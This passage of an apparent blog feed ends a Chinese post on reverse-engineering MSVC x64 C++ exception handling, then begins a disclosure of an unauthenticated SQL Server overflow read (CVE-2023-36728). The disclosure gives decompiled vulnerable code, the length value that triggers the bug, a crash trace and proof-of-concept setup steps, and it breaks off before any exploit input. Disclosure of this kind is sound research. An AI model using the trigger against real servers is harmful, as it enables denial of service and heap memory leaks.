src="/images/CPlusPlus_Exception.assets/1712127361714.png" alt="1712127361714"></p><p>跟进<code>.pdata</code>的引用:</p><p><img src="/images/CPlusPlus_Exception.assets/1712127336162.png" alt="1712127336162"></p><p>跟进 <code>stru_14002DFAC</code>:</p><p><img src="/images/CPlusPlus_Exception.assets/1712127420884.png" alt="1712127420884"></p><p>可以看到多个析构函数. </p><h2 id="再次调试"><a href="#再次调试" class="headerlink" title="再次调试"></a>再次调试</h2><p>开启调试, 分别对所有偏移的函数下断点</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">??1?$shared_ptr@VStrobj@@@std@@QEAA@XZ</span><br><span class="line">_doThrow____1___dtor$10</span><br><span class="line">??1?$unique_ptr@VStrobj@@U?$default_delete@VStrobj@@@std@@@std@@QEAA@XZ</span><br><span class="line">_doThrow____1___dtor$7</span><br><span class="line">_doThrow____1___dtor$3</span><br><span class="line">??1Strobj@@QEAA@XZ</span><br><span class="line">??1Strobj@@QEAA@XZ</span><br><span class="line">_doThrow____1___dtor$0</span><br></pre></td></tr></table></figure><p>继续运行, 看看触发情况:</p><p>第一个命中的是最后的一个shared_ptr的析构函数, 释放的是<code>myObjectPtr3</code></p><p><img src="/images/CPlusPlus_Exception.assets/1712127520943.png" alt="1712127520943"></p><p>第二个命中的是unique_ptr的析构函数, 释放的是<code>myObjectPtr2</code></p><p><img src="/images/CPlusPlus_Exception.assets/1712127599116.png" alt="1712127599116"></p><p>第三个命中的直接是Strobj的析构函数, 释放的是<code>oops3</code>,</p><p><img src="/images/CPlusPlus_Exception.assets/1712127849317.png" alt="1712127849317"></p><p>第四个是<code>oops2</code></p><p>最后是<code>oops</code></p><p><img src="/images/CPlusPlus_Exception.assets/1712127884472.png" alt="1712127884472"></p><p>从断点命中情况来看, 它命中了<code>stru_14002DFAC</code>里的部分析构函数</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">??1?$shared_ptr@VStrobj@@@std@@QEAA@XZ</span><br><span class="line">??1?$unique_ptr@VStrobj@@U?$default_delete@VStrobj@@@std@@@std@@QEAA@XZ</span><br><span class="line">??1Strobj@@QEAA@XZ</span><br><span class="line">??1Strobj@@QEAA@XZ</span><br><span class="line">_doThrow____1___dtor$0</span><br></pre></td></tr></table></figure><p>但是, 这里有一个问题, <strong>那就是<code>myObjectPtr</code>并没有得到释放!!</strong></p><blockquote><p>我们用debug调试, 记录<code>myObjectPtr-&gt;str_</code>的地址, 当命中catch时, 查看该值, 发现没有被重置, 再次说明它并没有被释放</p></blockquote><p>因为它是new申请的, 需要我们手动释放, 而它又是个局部变量, 我们没法在catch里正常释放它, 导致它的内存丢失了.</p><p>再来看main.</p><p><img src="/images/CPlusPlus_Exception.assets/1712128404597.png" alt="1712128404597"></p><p><img src="/images/CPlusPlus_Exception.assets/1712128467028.png" alt="1712128467028"></p><p>可以看到 main的<code>.pdata</code>里对应的<code>stru_14002E010</code>里, 有main的异常处理的代码块的<code>rva</code>.   这里因为有4个catch, 所以有4个异常处理块.</p><p>所以我们也可以发现, 在try catch操作中, 存在catch的函数, 它的stru指向里就有catch的操作模块, 也会给出异常的类型.</p><p>对于包含在其中的其它调用子函数, 如果存在自动释放的对象, 也会自动调用析构函数, 而且析构函数是比catch先调用的. 但是对于不会自动释放的对象, 就需要我们注意它的释放情况了.</p><blockquote><p>Debug的版本会略有不同.  MSVC版本不一样也可能不同</p><p>另外, 异常里的<code>rdx</code>指向的是触发异常时的<code>rsp</code>指针</p></blockquote><h2 id="msvc举例-win11"><a href="#msvc举例-win11" class="headerlink" title="msvc举例(win11)"></a>msvc举例(win11)</h2><p>iassam.dll里</p><p><img src="/images/CPlusPlus_Exception.assets/1712112112479.png" alt="1712112112479"></p><p>触发异常, 理论上应该处理 v12, v9, v11, 跟踪其struc后:</p><p><img src="/images/CPlusPlus_Exception.assets/1712112164618.png" alt="1712112164618"></p><p><img src="/images/CPlusPlus_Exception.assets/1712112155063.png" alt="1712112155063"></p><p>可以看到有三个释放操作的rva. 所以它触发异常后, 应该就会调用这些析构操作.</p><p>上层函数<code>ChangePassword::onSyncRequest</code>:</p><p><img src="/images/CPlusPlus_Exception.assets/1712112295271.png" alt="1712112295271"></p><p><img src="/images/CPlusPlus_Exception.assets/1712113662570.png" alt="1712113662570"></p><p>可以看到, 下半截是catch相关的操作, 上半截是析构相关的操作. 因此这个函数有<code>try catch</code>.</p><p>下面是<code>ChangePassword::doChangePassword</code>的栈回溯:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">00 00000097`ea97f020 00007ff9`e6a76ad2     iassam!ChangePassword::doChangePassword+0x9c</span><br><span class="line">01 00000097`ea97f090 00007ff9`e6a759dc     iassam!ChangePassword::onSyncRequest+0xb2</span><br><span class="line">02 00000097`ea97f0e0 00007ff9`e6a75948     iassam!IASTL::IASRequestHandlerSync::onAsyncRequest+0x7c</span><br><span class="line">03 00000097`ea97f110 00007ff9`e846311c     iassam!IASTL::IASRequestHandler::OnRequest+0xa8</span><br><span class="line">04 00000097`ea97f140 00007ff9`e8462e3f     iaspolcy!Pipeline::executeNext+0x154</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>对这些位置下断点, 在<code>ChangePassword::doChangePassword</code>里面触发异常, 可以看到最后命中的是<code>IASTL::IASRequestHandlerSync::onAsyncRequest+0x7C</code> (即 <code>7ff9e6a759dc</code>)的位置.</p><p>说明触发异常后, <code>ChangePassword::onSyncRequest</code>里处理了函数异常, 所以正常返回到了上层函数call之后的位置.</p><h2 id="旧版本msvc举例-server-2016"><a href="#旧版本msvc举例-server-2016" class="headerlink" title="旧版本msvc举例(server 2016)"></a>旧版本msvc举例(server 2016)</h2><p><img src="/images/CPlusPlus_Exception.assets/1712114532284.png" alt="1712114532284"></p><p><img src="/images/CPlusPlus_Exception.assets/1712114562160.png" alt="1712114562160"></p><p>这里只有个rva <code>stru_1800321D0</code>, 跟入:</p><p><img src="/images/CPlusPlus_Exception.assets/1712114602198.png" alt="1712114602198"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="type">const</span> <span class="class"><span class="keyword">struct</span> _<span class="title">s_FuncInfo</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span>        magicNumber:<span class="number">29</span>;<span class="comment">//19930522h     // Identifies version of compiler</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span>        bbtFlags:<span class="number">3</span>;         <span class="comment">// flags that may be set by BBT processing</span></span><br><span class="line">    <span class="type">__ehstate_t</span>         maxState;<span class="comment">// 4           // Highest state number plus one (thus</span></span><br><span class="line">                                            <span class="comment">// number of entries in unwind map)</span></span><br><span class="line">    <span class="type">int</span>                 dispUnwindMap;<span class="comment">// rva stru_180033B7C      // Image relative offset of the unwind map</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span>        nTryBlocks;<span class="comment">// 1         // Number of &#x27;try&#x27; blocks in this function</span></span><br><span class="line">    <span class="type">int</span>                 dispTryBlockMap;<span class="comment">// rva stru_180033B9C    // Image relative offset of the handler map</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span>        nIPMapEntries;<span class="comment">// 12      // # entries in the IP-to-state map. NYI (reserved)</span></span><br><span class="line">    <span class="type">int</span>                 dispIPtoStateMap;<span class="comment">// rva stru_180033BE0  IPtoStateMap // Image relative offset of the IP to state map. rva of struct IptoStateMapEntry</span></span><br><span class="line">    <span class="type">int</span>                 dispUwindHelp;<span class="comment">// 32      // Displacement of unwind helpers from base</span></span><br><span class="line">    <span class="type">int</span>                 dispESTypeList;<span class="comment">// 0     // Image relative list of types for exception specifications</span></span><br><span class="line">    <span class="type">int</span>                 EHFlags;<span class="comment">// 1            // Flags for some features.</span></span><br><span class="line">&#125; FuncInfo;</span><br></pre></td></tr></table></figure><p>这里 <code>stru_1800321D0</code> 对应的结构体就是如上所示.</p><p><code>UnwindMapEntry</code>:</p><p><img src="/images/CPlusPlus_Exception.assets/1712134784970.png" alt="1712134784970"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">UnwindMapEntry</span> &#123;</span></span><br><span class="line">  <span class="type">int</span> toState;        <span class="comment">// target state</span></span><br><span class="line">  <span class="type">void</span> (*action)();   <span class="comment">// action to perform (unwind funclet address)</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>可以看到当state为1转为0时, 会调用<code>_ChangePassword__onSyncRequest____1___dtor$0</code>.</p><p><code>TryBlockMapEntry</code>:</p><p><img src="/images/CPlusPlus_Exception.assets/1712134847779.png" alt="1712134847779"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">TryBlockMapEntry</span> &#123;</span></span><br><span class="line">    <span class="type">int</span> tryLow;</span><br><span class="line">    <span class="type">int</span> tryHigh;    <span class="comment">// this try &#123;&#125; covers states ranging from tryLow to tryHigh</span></span><br><span class="line">    <span class="type">int</span> catchHigh;  <span class="comment">// highest state inside catch handlers of this try</span></span><br><span class="line">    <span class="type">int</span> nCatches;   <span class="comment">// number of catch handlers</span></span><br><span class="line">    HandlerType* pHandlerArray; <span class="comment">//catch handlers table</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">HandlerType</span> &#123;</span></span><br><span class="line">  <span class="comment">// 0x01: const, 0x02: volatile, 0x08: reference</span></span><br><span class="line">  DWORD adjectives;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// RTTI descriptor of the exception type. 0=any (ellipsis)</span></span><br><span class="line">  TypeDescriptor* pType;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// ebp-based offset of the exception object in the function stack.</span></span><br><span class="line">  <span class="comment">// 0 = no object (catch by type)</span></span><br><span class="line">  <span class="type">int</span> dispCatchObj;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// address of the catch handler code.</span></span><br><span class="line">  <span class="comment">// returns address where to continues execution (i.e. code after the try block)</span></span><br><span class="line">  <span class="type">void</span>* addressOfHandler;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><code>IPtoStateMap</code>:</p><p><img src="/images/CPlusPlus_Exception.assets/1712136119507.png" alt="1712136119507"></p><p>在x86中, 它是在栈中显式地声明当前的state, 在x64中, 通过 <code>IptoStateMapEntry </code> 隐式地展示当前的state. 所以当到达表里的rva时, 表示当前的state为多少. 比如这里就是到达<code>loc_180006A99</code>时, state为 2.</p><p>对比win10及以上的版本, 会发现有明显的不一样的情况.(以下是win11版本的unwind map)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">.rdata:0000000180035698     byte_180035698  db 78h                  ; DATA XREF: .rdata:0000000180035694↑o</span><br><span class="line">.rdata:0000000180035698                                             ; FuncInfo4</span><br><span class="line">.rdata:0000000180035699                     dd rva byte_1800356A5   ; unwind map</span><br><span class="line">.rdata:000000018003569D                     dd rva byte_1800356B9   ; try block map</span><br><span class="line">.rdata:00000001800356A1                     dd rva byte_1800356DB   ; ip2state map</span><br><span class="line">.rdata:00000001800356A5     byte_1800356A5  db 0Ah                  ; DATA XREF: .rdata:0000000180035699↑o</span><br><span class="line">.rdata:00000001800356A5                                             ; num unwind entries: 5</span><br><span class="line">.rdata:00000001800356A6                     db 8                    ; funclet type: 0</span><br><span class="line">.rdata:00000001800356A7                     db 0Ah                  ; funclet type: 1</span><br><span class="line">.rdata:00000001800356A8                     dd rva ??1IASRequest@IASTL@@QEAA@XZ ; funclet</span><br><span class="line">.rdata:00000001800356AC                     db 50h                  ; frame offset of object ptr to be destructed</span><br><span class="line">.rdata:00000001800356AD                     db 32h                  ; funclet type: 1</span><br><span class="line">.rdata:00000001800356AE                     dd rva ??1IASAttribute@IASTL@@QEAA@XZ ; funclet</span><br><span class="line">.rdata:00000001800356B2                     db 0C0h                 ; frame offset of object ptr to be destructed</span><br><span class="line">.rdata:00000001800356B3                     db 6Eh                  ; funclet type: 3</span><br><span class="line">.rdata:00000001800356B4                     dd rva __std_terminate  ; funclet</span><br></pre></td></tr></table></figure><p><code>byte_1800356A5</code> 的unwind map, 是有rva的, 但是前一个字节是什么意义, 我还不太懂.</p><h2 id="导览图方法"><a href="#导览图方法" class="headerlink" title="导览图方法"></a>导览图方法</h2><p><img src="/images/CPlusPlus_Exception.assets/1712115551300.png" alt="1712115551300"></p><p>在目标函数里直接ida看导览图, 就可以看到ida识别的异常处理流. </p><p>析构操作<strong>可能</strong>会以这样的形式存在:</p><p><img src="/images/CPlusPlus_Exception.assets/1712115649867.png" alt="1712115649867"></p><h1 id="其它"><a href="#其它" class="headerlink" title="其它"></a>其它</h1><p>另外, 形如:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;memory&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">MyClass</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">MyClass</span>() &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">    ~<span class="built_in">MyClass</span>() &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">    <span class="comment">// 其他成员函数和变量</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 创建一个对象并使用 unique_ptr 管理</span></span><br><span class="line"><span class="function">std::unique_ptr&lt;MyClass&gt; <span class="title">createUniqueObject</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> std::<span class="built_in">unique_ptr</span>&lt;MyClass&gt;(<span class="keyword">new</span> <span class="built_in">MyClass</span>());</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    std::unique_ptr&lt;MyClass&gt; myUniquePtr = <span class="built_in">createUniqueObject</span>();</span><br><span class="line">    <span class="comment">// 使用 myUniquePtr ...</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>和</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;memory&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">MyClass</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">MyClass</span>() &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">    ~<span class="built_in">MyClass</span>() &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">    <span class="comment">// 其他成员函数和变量</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 创建一个对象并使用 shared_ptr 管理</span></span><br><span class="line"><span class="function">std::shared_ptr&lt;MyClass&gt; <span class="title">createSharedObject</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> std::<span class="built_in">shared_ptr</span>&lt;MyClass&gt;(<span class="keyword">new</span> <span class="built_in">MyClass</span>());</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    std::shared_ptr&lt;MyClass&gt; mySharedPtr = <span class="built_in">createSharedObject</span>();</span><br><span class="line">    <span class="comment">// 使用 mySharedPtr ...</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这种, 也都会自动触发析构操作, 即使发生了异常也会如此.</p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://www.openrce.org/articles/full_view/21">https://www.openrce.org/articles/full_view/21</a> 介绍基本原理</p><p><a href="https://reactos.org/wiki/Techwiki:SEH64">https://reactos.org/wiki/Techwiki:SEH64</a> 第一个引用中涉及到的结构体出处</p><p><a href="https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-160">https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-160</a> 一些相关结构体</p><p><a href="http://www.hexblog.com/wp-content/uploads/2012/06/Recon-2012-Skochinsky-Compiler-Internals.pdf">http://www.hexblog.com/wp-content/uploads/2012/06/Recon-2012-Skochinsky-Compiler-Internals.pdf</a> 介绍x64与x86的差异</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;偶尔分析C++的模块, 遇到触发异常操作, 但是不知道它SEH到底干啥了, 所以研究了下MSVC下的c++异常处理到底是怎么回事, 没理解透彻, 但是逆向应该是够用了, 如果有不对之处, 还望指正.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Windows SQL Server Pre-Auth Overflow Read(CVE-2023-36728)</title>
    <link href="http://474172261.github.io/2023/10/16/sqlserver-dos-CVE-2023-36728/"/>
    <id>http://474172261.github.io/2023/10/16/sqlserver-dos-CVE-2023-36728/</id>
    <published>2023-10-16T02:08:37.067Z</published>
    <updated>2023-10-16T02:11:25.387Z</updated>
    
    <content type="html"><![CDATA[<p>这个是一个sql server的未认证远程dos的bug解析.</p><span id="more"></span><h2 id="Environment"><a href="#Environment" class="headerlink" title="Environment"></a>Environment</h2><p><strong>SQL Server Version</strong>: sql server 2022.160.4035.4</p><p><strong>Host System</strong>: windows 1809</p><h2 id="Bug"><a href="#Bug" class="headerlink" title="Bug"></a>Bug</h2><p>in file <code>sqllang.dll</code> version <code>2022.160.4035.4</code>, function <code>CFedAuthFeatureExtension::ReadIDCRLToken</code>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">v4 = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span> ( !*a3 )</span><br><span class="line">&#123;</span><br><span class="line">  *(_DWORD *)a4 = <span class="number">9</span>;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>i64;</span><br><span class="line">&#125;</span><br><span class="line">v8 = a2 + <span class="number">4</span>;</span><br><span class="line">len1 = *(<span class="type">unsigned</span> <span class="type">int</span> *)a2;</span><br><span class="line">v10 = *a3 - <span class="number">4</span>;</span><br><span class="line"><span class="keyword">if</span> ( *a3 == <span class="number">4</span> )</span><br><span class="line">&#123;</span><br><span class="line">  *(_DWORD *)a4 = <span class="number">10</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">  *((_DWORD *)this + <span class="number">28</span>) = v10 - (len1 + <span class="number">0x40</span>);</span><br><span class="line">  <span class="keyword">if</span> ( v10 &gt;= (<span class="type">int</span>)len1 + <span class="number">0x40</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    _mm_lfence();</span><br><span class="line">    v11 = <span class="number">2</span>i64 * (((<span class="type">unsigned</span> <span class="type">int</span>)len1 &gt;&gt; <span class="number">1</span>) + <span class="number">1</span>);</span><br><span class="line">    <span class="keyword">if</span> ( !is_mul_ok(((<span class="type">unsigned</span> <span class="type">int</span>)len1 &gt;&gt; <span class="number">1</span>) + <span class="number">1</span>, <span class="number">2u</span>i64) )</span><br><span class="line">      v11 = <span class="number">-1</span>i64;</span><br><span class="line">    v12 = operator new[](v11, *((<span class="keyword">struct</span> IMemObj **)this + <span class="number">2</span>), <span class="number">1</span>, <span class="string">&quot;sql\\ntdbms\\tds\\src\\featureext.cpp&quot;</span>, <span class="number">1585</span>, <span class="number">3u</span>);</span><br><span class="line">    *((_QWORD *)this + <span class="number">7</span>) = v12;</span><br><span class="line">    <span class="keyword">if</span> ( v12 )</span><br><span class="line">    &#123;</span><br><span class="line">      _mm_lfence();</span><br><span class="line">      memcpy_s(*((<span class="type">void</span> *<span class="type">const</span> *)this + <span class="number">7</span>), len1, v8, len1);</span><br></pre></td></tr></table></figure><p>*a3 means data length, a2 is a buffer controlled by user.</p><p>at line 9, if we let <code>*a3==3</code>, then v10 will be 0xffffffff. And at line 28, it will overflow read from a2.</p><h2 id="Impact"><a href="#Impact" class="headerlink" title="Impact"></a>Impact</h2><p>Though process doesn’t crash(only thread crashed), it will cause extra problems, for example, if it crashed many times, no one can login into the server, even through local SSMS. And sql server configuration manager can’t restart service. Furthermore, it overflows reads data from heap, may leak important information with extra skills.</p><h2 id="Crash-Stack-Trace"><a href="#Crash-Stack-Trace" class="headerlink" title="Crash Stack Trace"></a>Crash Stack Trace</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">(168c.27a4): Access violation - code c0000005 (first chance)</span><br><span class="line">First chance exceptions are reported before any exception handling.</span><br><span class="line">This exception may be expected and handled.</span><br><span class="line">sqllang!memcpy+0x180:</span><br><span class="line">00007ffd`78f382fc c4a17e6f6c02e0  vmovdqu ymm5,ymmword ptr [rdx+r8-20h] ds:000001c2`20ff9b3d=??</span><br><span class="line">0:019&gt; k</span><br><span class="line"> # Child-SP          RetAddr               Call Site</span><br><span class="line">00 0000008f`407fe9e8 00007ffd`78f33493     sqllang!memcpy+0x180</span><br><span class="line">01 0000008f`407fe9f0 00007ffd`79a99658     sqllang!memcpy_s+0x5e</span><br><span class="line">02 0000008f`407fea20 00007ffd`79a99525     sqllang!CFedAuthFeatureExtension::ReadIDCRLToken+0xe6</span><br><span class="line">03 0000008f`407fea80 00007ffd`78f955b9     sqllang!CFedAuthFeatureExtension::ParseFeatureData+0x245</span><br><span class="line">04 0000008f`407fead0 00007ffd`78f93f6f     sqllang!CPhysicalConnection::FParseFeatureExtension+0x29e</span><br><span class="line">05 0000008f`407fec30 00007ffd`78f93c8e     sqllang!CPhysicalConnection::FCreateLoginRec+0x6dd</span><br><span class="line">06 0000008f`407feea0 00007ffd`78f93b0b     sqllang!process_login+0x24e</span><br><span class="line">07 0000008f`407fef40 00007ffd`78f46c30     sqllang!process_commands_internal+0x45b</span><br><span class="line">08 0000008f`407ff080 00007ffd`7ef088db     sqllang!process_messages+0x1e0</span><br><span class="line">09 0000008f`407ff230 00007ffd`7ef09298     sqldk!SOS_Task::Param::Execute+0x232</span><br><span class="line">0a 0000008f`407ff830 00007ffd`7ef08df4     sqldk!SOS_Scheduler::RunTask+0x182</span><br><span class="line">0b 0000008f`407ff930 00007ffd`7ef28293     sqldk!SOS_Scheduler::ProcessTasks+0x344</span><br><span class="line">0c 0000008f`407ffa80 00007ffd`7ef2833c     sqldk!Worker::EntryPoint+0x2f9</span><br><span class="line">0d 0000008f`407ffb60 00007ffd`7ef27f7f     sqldk!ThreadScheduler::RunWorker+0xc</span><br><span class="line">0e 0000008f`407ffb90 00007ffd`7ef27c65     sqldk!SystemThreadDispatcher::ProcessWorker+0x589</span><br><span class="line">0f 0000008f`407ffc70 00007ffd`b8447e94     sqldk!SchedulerManager::ThreadEntryPoint+0x3cf</span><br><span class="line">10 0000008f`407ffd80 00007ffd`babf7ad1     KERNEL32!BaseThreadInitThunk+0x14</span><br><span class="line">11 0000008f`407ffdb0 00000000`00000000     ntdll!RtlUserThreadStart+0x21</span><br><span class="line">0:019&gt; r</span><br><span class="line">rax=000001c226000040 rbx=0000000000ccffff rcx=000001c226000040</span><br><span class="line">rdx=000001c220329b5e rsi=000001c220329b5e rdi=0000000000ccffff</span><br><span class="line">rip=00007ffd78f382fc rsp=0000008f407fe9e8 rbp=00000000ffffffff</span><br><span class="line"> r8=0000000000ccffff  r9=000001c220ff9b5d r10=00007ffd78f30000</span><br><span class="line">r11=0000008f407fe928 r12=0000000000000000 r13=000001c220329b5e</span><br><span class="line">r14=0000000000ccffff r15=0000000000668000</span><br><span class="line">iopl=0         nv up ei pl nz na po nc</span><br><span class="line">cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206</span><br><span class="line">sqllang!memcpy+0x180:</span><br><span class="line">00007ffd`78f382fc c4a17e6f6c02e0  vmovdqu ymm5,ymmword ptr [rdx+r8-20h] ds:000001c2`20ff9b3d=??</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h2><ol><li><p>install sqlcmd in Centos7</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ sudo rpm -i msodbcsql17-17.2.0.1-1.x86_64.rpm</span><br><span class="line">$ sudo rpm -i mssql-tools-17.2.0.1-1.x86_64.rpm</span><br></pre></td></tr></table></figure></li><li><p>install gdb in Centos7</p></li><li><p>create a new SQL Server 2022(I tested locally, I can give a Azure Sql Server test case if you need)</p></li><li><p>connect SQL Server to Azure AD by (<a href="https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/azure-ad-authentication-sql-server-setup-tutorial?view=sql-server-ver16">https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/azure-ad-authentication-sql-server-setup-tutorial?view=sql-server-ver16</a>)</p></li><li><p>install windbg in SQL Server machine</p></li><li><p>the sql server should be like this, in this picture, target process is 5772<img src="/images/sqlserver-dos-CVE-2023-36728.assets/1686738413775.png" alt="1686738413775"></p></li><li><p>use windbg attach 5772</p></li><li><p>in Centos:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span 